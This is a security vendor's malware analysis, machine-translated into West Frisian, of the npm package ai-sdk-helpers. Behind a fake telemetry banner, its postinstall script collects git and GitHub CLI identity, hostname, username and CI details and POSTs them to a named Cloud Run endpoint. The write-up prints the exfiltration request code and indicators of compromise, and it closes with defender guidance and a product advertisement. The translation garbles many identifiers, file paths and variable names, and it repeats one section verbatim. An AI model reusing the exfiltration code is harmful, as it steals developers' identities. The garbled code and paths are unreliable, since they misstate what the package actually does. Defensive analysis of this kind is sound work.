ConsentMask It npm-pakket ferberget ûntwikkelderidentiteitsrispinge

ConsentMask: In npm-pakket dat in telemetrie-tastimmingsbanner draacht boppe it rispjen fan ûntwikkeldersidentiteit

TL; DR

In inkele npm-pakket, ai-sdk-helpers, presintearret himsels as in produksjetoolkit foar de Vercel AI SDK, en biedt kostentracking, fallback-oplossingen foar providers en streaminghelpers.

It ynstallaasjeskript iepenet mei in gepolijste iepenbieringsbanner dy't beskriuwt anonime diagnostyk, mei de belofte dat gjin boarnekoade, tokens of ynloggegevens oerdroegen wurde, en respektearje in DO_NOT_TRACK ôfmelde, en keppelje nei in side mei telemetriebelied.

Itselde skript lêst dan de git-identiteit fan 'e ûntwikkelder, GitHub CLI-konfiguraasje, masinehostnamme, OS-brûkersnamme, wurkmap en CI-provider.

Dy gegevens wurde as JSON nei in Google Cloud Run-eindpunt POSTED, wêrtroch in dúdlike oerienkomst ûntstiet tusken it oanjûne telemetriebelied en de werklik sammele fjilden.

It pakket waard publisearre yn twaentweintich ferzjes binnen ien burst fan 83 sekonden, en it ynstallaasjeskript is byte-foar-byte identyk foar elke markearre ferzje.

Sân fan 'e acht ferzjes dy't troch ús beoardiele binne pipeline waarden as ûnbeslút skoard troch de ML-klassifikator, om't de styl fan 'e tastimmingsbanner lêst as legitime telemetrie.

Wy klassifisearje ai-sdk-helpers as kwea-aardich basearre op it sammeljen en eksfiltrearjen fan ûntwikkelderidentiteiten tidens ynstallaasje.

Ernst: heech.

 Anatomy fan 'e ynstallaasje

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

nei ynstallaasje rint automatysk op npm ynstallearje, foardat ien fan 'e oankundige koade fan it pakket ea ymportearre wurdt. It skript skripts/postinstall.js is wêr't al it ynstallaasjetiidgedrach libbet.

It iepenet mei in kommentaarblok en in runtime-notifikaasje skreaun yn it register fan in privacybewust iepen boarneprojekt:

>As jo ​​ai-sdk-helpers ynstallearje, fiere wy in rappe kontrôle fan omjouwingskompatibiliteit út en rapportearje anonyme diagnostyk ... De gegevens binne folslein anonym - wy sammelje jo platfoarm, Node-ferzje en in ienrjochtings-hash fan jo masine-identifikator. Der wurde noait boarnekoade, tokens of ynloggegevens oerdroegen.

It ferbine sels in wurkjende opt-out-poarte, de earste útfierbere koade yn it bestân:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

it earst oanbringen fan dizze poarte is wat de rest as konsensueel lêzen makket: in ûntwikkelder dy't ynstelt `D_NOT_TRACK` sjocht de ynstallaasje stil foltôgje en konkludearret dat it pakket de konvinsje respektearret. De honorearre opt-out is echt. Wat it iepenet, foar elkenien dy't it net ynstelt, is de hjirûnder beskreaune kolleksje - net de smelle "platfoarm, Node-ferzje, en in ienrjochtings hash" dy't de notifikaasje neamt.

Under dy poarte stelt it skript in lading gear dy't fier fierder giet as dy beskriuwing.

  • *Gt identiteit.* roplosseScmIdentiteit()` earen `~.gitconfig`,`~.konfig/git/konfig`,en it hjoeddeiske projekt syn `.it/konfiguraasje`,parsearret de `[searje]` seksje, en jout de konfigurearre werom commit e-post. As gjin konfiguraasjebestân in e-post oplevert, falt it werom nei de `GT_AUTOR_E-POST`,`GT_COMMITTER_EMAIL`,en `EAIL` omjouwingsfariabelen. In docstring boppe de funksje framet it lêzen as in manier "om ynstallaasjes te deduplikearjen oer masines dy't eigendom binne fan deselde persoan (bygelyks laptop + CI)" - in oanjûn doel dat in stabile identifier per ûntwikkelder fereasket, dy't in commit e-postbenodigdheden.
  • *GtHub-akkount.* roplosseGitHubIdentity()` earen `~.config/gh/hosts.yml` en `~.config/gh/hosts.yaml` it konfiguraasjebestân skreaun troch de GitHub CLI as in ûntwikkelder autentiseart - en regex-ekstraheart de `ueh:` en `esiik:` fjilden. Dat bestân bewarret ek it GitHub OAuth-token; de regex fan it skript rjochtet him spesifyk op 'e brûkersnamme- en e-postrigels en ekstraheart it token net. De útspraak "gjin tokens ... wurde ea oerdroegen" fan 'e iepenbieringsbanner is dêrom letterlik wier foar dat iene fjild, wylst de omlizzende akkountidentifikatoaren lêzen en ferstjoerd wurde.
  • *Hst en CI fingerprint.* it skript sammelet dan `o.hostnamme()`,`o.brûkersYnfo().brûkersnamme`,de Node-ferzje, platfoarm en arsjitektuer, `pocess.cwd()`,en in CI-providerlabel oplost troch it kontrolearjen fan omjouwingsfariabelen foar acht providers (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, en twa generike-CI-flaggen). De providerlist lêst as in ynventaris fan wêr't it skript ferwachtet út te fieren - ynteraktive shells en automatisearre build pipelines gelyk.

Al dizze binne groepearre yn ien `dagnosten objekt, mei de fjilden per ûntwikkelder sammele ûnder in `ientiteit ey en de hostgegevens ûnder `rtiid` en `cntekst` eys, dan serialisearre en oerdroegen:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

It antwurd wurdt fuortsmiten en alle flaters wurde ynslokt - in kommentaar merkt op dat "telemetrie de ynstallaasje nea brekke moat." De hostnamme fan it einpunt kodearret in Google Cloud Run-tsjinst yn 'e `etou-west1` regio.

De gat is it ferhaal. De banner neamt trije kategoryen gegevens - platfoarm, Node-ferzje, masine-identifikator hash. De payload stjoert de echte git fan in ûntwikkelder. commit e-post, harren GitHub-brûkersnamme en e-post, harren masinehostnamme en OS-akkountnamme, harren projektpad en harren CI-omjouwing. De fjilden dy't in *p identifisearjerson en harren akkounts* binne krekt de fjilden dy't de iepenbiering weilitten hat.

De README fersterket it frame fan 'e oare kant. De seksje "Telemetry" werhellet de anonimiteitsclaim en keppelet it wurd `D_NOT_TRACK` o `cnsoledonottrack.com`,de echte mienskipsside dy't de opt-out-konvinsje dokumintearret - in erkende privacy-ynformaasje liene standard om de meidieling as routine lêzen te litten.

Timeline

Dit is in fynst yn ien pakket mei in tige koarte, tige tichte publikaasjeskiednis. Der is gjin kampanjebôge fan meardere wiken te folgjen - it hiele ferzjeberik waard mei masinesnelheid opfierd.

Wannear (UTC) Barren
2026-06-03 20:31:20 Earste ferzje (0.1.0) publisearre oan npm.
2026-06-03 20:31:20 – 20:32:43 Alle 22 ferzjes (0.1.0 troch 1.4.2) publisearre yn in automatisearre burst fan 83 sekonden.
2026-06-04 Acht ferzjes markearre troch deteksjesignalen; hânmjittige analyze befêstiget it sammeljen en eksfiltrearjen fan identiteiten tidens ynstallaasje. Pakket bleau live op npm op it momint fan analyze.

It finster fan 83 sekonden oer 22 semantyske ferzjes is sels in gedrachsyndikator: de ferzjeljedder (`01.0`,`01.1`,… `14.2`)presintearret it oerflak fan in aktyf ûnderhâlden projekt mei in releasehistoarje, produsearre yn ien skriptútfiering. It ynstallaasjeskript feroaret net oer dy ljedder - sjoch hjirûnder.

Yndikatoaren fan kompromis

De lading op ynstallaasjetiid is identyk foar it hiele publisearre ferzjeberik.ff` f`sripts/postinstall.js` tusken ferzje `02.1` e ferzje `14.2` jout gjin ferskillen werom; it gedrach is ien fêste fingerprint, gjin evoluearjende lading.

netwurk

It finster fan 83 sekonden oer 22 semantyske ferzjes is sels in gedrachsyndikator: de ferzjeljedder (`01.0`,`01.1`,… `14.2`)presintearret it oerflak fan in aktyf ûnderhâlden projekt mei in releasehistoarje, produsearre yn ien skriptútfiering. It ynstallaasjeskript feroaret net oer dy ljedder - sjoch hjirûnder.

Yndikatoaren fan kompromis

De lading op ynstallaasjetiid is identyk foar it hiele publisearre ferzjeberik.ff` f`sripts/postinstall.js` tusken ferzje `02.1` e ferzje `14.2` jout gjin ferskillen werom; it gedrach is ien fêste fingerprint, gjin evoluearjende lading.

netwurk

indicator rol
npm-package-logger-228835561205.europe-west1.run.app Eksfiltraasje-eindpunt dat HTTPS POST-oanfragen ûntfangt mei JSON-payloads. Hosted op Google Cloud Run yn 'e europe-west1 regio.

Lokmiddelynfrastruktuer

indicator rol
ai-sdk.guide Pakketthússide en live side dy't de auteursidentiteit "AI SDK Guide" stypje.
ai-sdk.guide/telemetry URL fan telemetriebelied wêr't ferwiisd wurdt yn 'e iepenbieringsnotifikaasje tidens ynstallaasje.
hello@ai-sdk.guide E-postadres fan de auteur oanjûn yn package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Boarne-repository ferklearre troch it pakket.

Bestannen lêzen by ynstallaasjetiid

  • -.gitconfig`,`~.konfig/git/konfig`,`<wd>/.git/konfiguraasje` git `[searje]` post
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI-funksjeeh` `esiik

Gedrachshandtekeningen

  • – m`pstynstallearje ek in bondele Node-skript oproppe
  • – opt-out poarte (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)presintearre as in privacyfunksje, foarôfgeand oan identiteitsferzameling
  • – tbound HTTPS POST fan in JSON-objekt mei git-e-post, GitHub-identiteit, hostnamme, OS-brûkersnamme, cwd en CI-label
  • – te-identyk ynstallaasjeskript oer in rap publisearre ferzjeljedder

 Attribúsje en waarnommen gedrach
Wy skriuwe neat ta bûten wat it pakket en de registermetadata opnimme.

De npm-behearder fan it register is it akkount `aielsimon`,mei it adres `aiel@vigilance.security`.It register neamt dy e-post as net ferifiearre en de boarne-kontrôle-identiteit fan it akkount as net ferifiearre. De `pckage.json`,apart, presintearret de auteur as "AI SDK Guide"ello@ai-sdk.guide>`”mei in thússide fan `a-sdk.gids` en in boarne-repository ûnder in `gorganisaasje thub.com/ai-sdk-guide`. It e-postdomein fan it publisearringsakkount (`vigilance.security`)en de auteursidentiteit yn it pakket (`a-sdk.gids`)binne ferskillende domeinen.

De `a-sdk.gids` ite is live en reagearret, en de `/elemetry` ath oplost - de identiteit fan 'e lokmiddel wurdt stipe troch in berikbere weboanwêzigens ynstee fan in deade keppeling, wat de leauwensweardigens fan it frame fan it pakket fergruttet.

**Waarnommen mooglikheid.** By ynstallaasje lêst it pakket de ûntwikkeldersidentiteit en akkountkonfiguraasjebestannen, nimt it fingerprints fan 'e host- en CI-omjouwing, en stjoert it resultaat nei in troch de operator kontroleare einpunt, wylst in berjocht werjûn wurdt dat in smelle en anonymisearre dataset beskriuwt. Wy beskriuwe dit gedrach; wy beweare gjin motyf derfoar. Lêzers dy't it pakket evaluearje - ynklusyf elke partij dy't de publisearringsidentiteit werkent - moatte de waarnimbere ferskil tusken de oanjûne en werklike datastreamen weagje.

Ynfloed, trends en begelieding foar ferdigeners

Wa is bleatsteld. Elkenien dy't ynstallearret ai-sdk-helpers — direkt of as in transitive ôfhinklikens — fiert de kolleksje op dy masine út. Omdat de trigger is nei ynstallaasje, de oankundige bibleteekkoade hoecht nea ymportearre te wurden foar de gegevensstream; de ynstallaasje allinich is genôch. De omjouwings mei de heechste wearde binne ûntwikkelderswurkstasjons mei in konfigurearre git-identiteit en in autentisearre GitHub CLI, en CI-runners, wêrby't de CI-provider-deteksje fan it skript oanjout dat de kolleksje ferwachte wurdt binnen de build te rinnen. pipelines lykas ek op laptops.

Wat it bleatleit. Net applikaasjegeheimen yn it algemien gefal - de lading sintrearret op identiteit: de ûntwikkelder syn commit e-post, harren GitHub-akkountnamme en e-post, de masine- en akkountnammen, en it projektpad. Dat is in foarôfgeandecisin kaart fan wa't it pakket ynstalleare hat, op hokker masine, yn hokker repository, en ûnder hokker CI-systeem. Foar in organisaasje soene in hantsjefol sokke records byinoar opsomje hokker yngenieurs en hokker bousystemen de ôfhinklikens lutsen hawwe - nuttich as in foarrinner foar mear rjochte opfolgjende aktiviteit, sels as it gedrach fan dit pakket sels ophâldt by it sammeljen en oerdragen.

De trend: telemetrie as dekmantel. Legitime ûntwikkeldersark sammelje anonymisearre ynstallaasjediagnostyk, en de konvinsjes om it respektfol te dwaan - in iepenbieringsnotifikaasje, in DO_NOT_TRACK eare, in opt-out-flagge, in belieds-URL - binne wol bekend. ai-sdk-helpers reproduseart al dy fjouwer konvinsjes trou en brûkt se as de omslach foar identiteitsferzameling. De oanwêzigens fan in tastimmingsbanner, in wurkjende opt-out, of in keppeling nei it privacybelied is gjin bewiis dat in pakket betrouber is; dy kontrôles binne goedkeap om te imitearjen. De ienige betroubere kontrôle is wat de koade eins lêst en wêr't it it eins hinne stjoert.

Dizze ferpakking hat ek in mjitber effekt op automatisearre triage. Oer de ferzjes hinne ús pipeline besjoen, de opmerkings yn gewoane taal, strukturearre fjildnammen en konvinsjonele opt-out-poarte fan it ynstallaasjeskript skoarden as gewoane telemetrie: sân fan 'e acht kamen werom inconclusive fan 'e ML-klassifikator ynstee fan kwea-aardich. It sinjaal dat de dûbelsinnigens oplost sit net yn it proaza - it sit yn 'e spesifike bestannen dy't it skript iepenet (~ / .gitconfig, ~/.config/gh/hosts.yml) en de bestimming dêr't it nei ta stjoert. In resinsint, automatisearre of minsklik, dy't de iepenbiering lêst en dêr stoppet, sil ta de ferkearde konklúzje komme; de ​​bepaling moat komme fan 'e feiten fan' e datastream.

Rjochtlinen foar ferdigeners:

  • Ynstallearje mei skripts standert útskeakele — npm ynstallearje –ignore-skripts, of ynstelle negearje-skripts=wier in .npmrc en kontrolearre boustappen eksplisyt útfiere. Dit neutralisearret nei ynstallaasje-ynkasso oer de hiele breedte ynsteld.
  • Behannelje opt-out-kontrôles net as fertrouwenssignalen. DO_NOT_TRACK kontrôle of in keppeling nei "telemetriebelied" fertelt jo neat oer de gegevens dy't in skript sammelt as de poarte net ynsteld is.
  • Lês de ynstallaasjehook foardat jo AI-ekosysteemhelperpakketten oannimme. De Vercel AI SDK-romte is in rap bewegend, heechfertrouwensdoel; in nei ynstallaasje dat rekket ~ / .gitconfig or ~/.konfiguraasje/gh/ is in dúdlik sinjaal, nettsjinsteande hoe't de omlizzende opmerkings skreaun binne.
  • Monitorearje útgong by boutiid. In útgeande HTTPS POST tidens npm ynstallearje, foaral nei in nij foarsjoen wolkfunksje-eindpunt, is waarnimber op 'e netwurklaach en is in sterk deteksjepunt foar CI-omjouwings.
  • Pas op foar komprimearre ferzjeladders. In pakket wêrfan de hiele semantyske ferzjeskiednis binnen sekonden ferskynt, mei in net-feroarlik ynstallaasjeskript, presintearret in produsearre ûnderhâldsskiednis.
sca-tools-software-komposysje-analyse-ark
Prioritearje, ferhelpe en befeiligje jo softwarerisiko's
Krij jo fergese akkount.
Gjin kredytkaart nedich.

Befeiligje jo softwareûntwikkeling en levering

mei Xygeni Produkt Suite